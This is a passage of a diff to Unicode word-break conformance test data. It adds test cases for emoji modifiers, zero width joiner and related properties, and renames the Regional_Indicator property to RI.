÷ 000A ÷ 0308 ÷ 0027 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 000A ÷ 261D ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 000A ÷ 0308 ÷ 261D ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 000A ÷ 1F3FB ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 000A ÷ 0308 ÷ 1F3FB ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 000A ÷ 2640 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 000A ÷ 0308 ÷ 2640 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 000A ÷ 1F466 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] BOY (EBG) ÷ [0.3]
+÷ 000A ÷ 0308 ÷ 1F466 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 000A ÷ 00AD ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 000A ÷ 0308 × 00AD ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 000A ÷ 0300 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 000A ÷ 0308 × 0300 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 000A ÷ 200D ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 000A ÷ 0308 × 200D ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 000A ÷ 0061 × 2060 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 000A ÷ 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 000A ÷ 0061 ÷ 003A ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [3.1] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -198,18 +230,28 @@
÷ 000B ÷ 0308 ÷ 0030 ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 000B ÷ 005F ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 000B ÷ 0308 ÷ 005F ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 000B ÷ 1F1E6 ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 000B ÷ 0308 ÷ 1F1E6 ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
+÷ 000B ÷ 1F1E6 ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 000B ÷ 0308 ÷ 1F1E6 ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 000B ÷ 05D0 ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 000B ÷ 0308 ÷ 05D0 ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 000B ÷ 0022 ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 000B ÷ 0308 ÷ 0022 ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 000B ÷ 0027 ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 000B ÷ 0308 ÷ 0027 ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 000B ÷ 261D ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 000B ÷ 0308 ÷ 261D ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 000B ÷ 1F3FB ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 000B ÷ 0308 ÷ 1F3FB ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 000B ÷ 2640 ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 000B ÷ 0308 ÷ 2640 ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 000B ÷ 1F466 ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] BOY (EBG) ÷ [0.3]
+÷ 000B ÷ 0308 ÷ 1F466 ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 000B ÷ 00AD ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 000B ÷ 0308 × 00AD ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 000B ÷ 0300 ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 000B ÷ 0308 × 0300 ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 000B ÷ 200D ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 000B ÷ 0308 × 200D ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 000B ÷ 0061 × 2060 ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 000B ÷ 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 000B ÷ 0061 ÷ 003A ÷ # ÷ [0.2] <LINE TABULATION> (Newline) ÷ [3.1] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -250,18 +292,28 @@
÷ 3031 × 0308 ÷ 0030 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 3031 × 005F ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [13.1] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 3031 × 0308 × 005F ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) × [13.1] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 3031 ÷ 1F1E6 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 3031 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
+÷ 3031 ÷ 1F1E6 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 3031 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 3031 ÷ 05D0 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 3031 × 0308 ÷ 05D0 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 3031 ÷ 0022 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 3031 × 0308 ÷ 0022 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 3031 ÷ 0027 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 3031 × 0308 ÷ 0027 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 3031 ÷ 261D ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 3031 × 0308 ÷ 261D ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 3031 ÷ 1F3FB ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 3031 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 3031 ÷ 2640 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 3031 × 0308 ÷ 2640 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 3031 ÷ 1F466 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 3031 × 0308 ÷ 1F466 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 3031 × 00AD ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 3031 × 0308 × 00AD ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 3031 × 0300 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 3031 × 0308 × 0300 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 3031 × 200D ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 3031 × 0308 × 200D ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 3031 ÷ 0061 × 2060 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 3031 × 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 3031 ÷ 0061 ÷ 003A ÷ # ÷ [0.2] VERTICAL KANA REPEAT MARK (Katakana) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -302,18 +354,28 @@
÷ 0041 × 0308 × 0030 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [9.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 0041 × 005F ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [13.1] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 0041 × 0308 × 005F ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [13.1] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 0041 ÷ 1F1E6 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 0041 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
+÷ 0041 ÷ 1F1E6 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 0041 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 0041 × 05D0 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [5.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0041 × 0308 × 05D0 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [5.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0041 ÷ 0022 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0041 × 0308 ÷ 0022 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0041 ÷ 0027 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 0041 × 0308 ÷ 0027 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 0041 ÷ 261D ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0041 × 0308 ÷ 261D ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0041 ÷ 1F3FB ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0041 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0041 ÷ 2640 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0041 × 0308 ÷ 2640 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0041 ÷ 1F466 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 0041 × 0308 ÷ 1F466 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 0041 × 00AD ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0041 × 0308 × 00AD ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0041 × 0300 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 0041 × 0308 × 0300 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 0041 × 200D ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 0041 × 0308 × 200D ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 0041 × 0061 × 2060 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [5.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0041 × 0308 × 0061 × 2060 ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [5.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0041 × 0061 ÷ 003A ÷ # ÷ [0.2] LATIN CAPITAL LETTER A (ALetter) × [5.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -354,18 +416,28 @@
÷ 003A × 0308 ÷ 0030 ÷ # ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 003A ÷ 005F ÷ # ÷ [0.2] COLON (MidLetter) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 003A × 0308 ÷ 005F ÷ # ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 003A ÷ 1F1E6 ÷ # ÷ [0.2] COLON (MidLetter) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 003A × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
+÷ 003A ÷ 1F1E6 ÷ # ÷ [0.2] COLON (MidLetter) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 003A × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 003A ÷ 05D0 ÷ # ÷ [0.2] COLON (MidLetter) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 003A × 0308 ÷ 05D0 ÷ # ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 003A ÷ 0022 ÷ # ÷ [0.2] COLON (MidLetter) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 003A × 0308 ÷ 0022 ÷ # ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 003A ÷ 0027 ÷ # ÷ [0.2] COLON (MidLetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 003A × 0308 ÷ 0027 ÷ # ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 003A ÷ 261D ÷ # ÷ [0.2] COLON (MidLetter) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 003A × 0308 ÷ 261D ÷ # ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 003A ÷ 1F3FB ÷ # ÷ [0.2] COLON (MidLetter) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 003A × 0308 ÷ 1F3FB ÷ # ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 003A ÷ 2640 ÷ # ÷ [0.2] COLON (MidLetter) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 003A × 0308 ÷ 2640 ÷ # ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 003A ÷ 1F466 ÷ # ÷ [0.2] COLON (MidLetter) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 003A × 0308 ÷ 1F466 ÷ # ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 003A × 00AD ÷ # ÷ [0.2] COLON (MidLetter) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 003A × 0308 × 00AD ÷ # ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 003A × 0300 ÷ # ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 003A × 0308 × 0300 ÷ # ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 003A × 200D ÷ # ÷ [0.2] COLON (MidLetter) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 003A × 0308 × 200D ÷ # ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 003A ÷ 0061 × 2060 ÷ # ÷ [0.2] COLON (MidLetter) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 003A × 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 003A ÷ 0061 ÷ 003A ÷ # ÷ [0.2] COLON (MidLetter) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -406,18 +478,28 @@
÷ 002C × 0308 ÷ 0030 ÷ # ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 002C ÷ 005F ÷ # ÷ [0.2] COMMA (MidNum) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 002C × 0308 ÷ 005F ÷ # ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 002C ÷ 1F1E6 ÷ # ÷ [0.2] COMMA (MidNum) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 002C × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
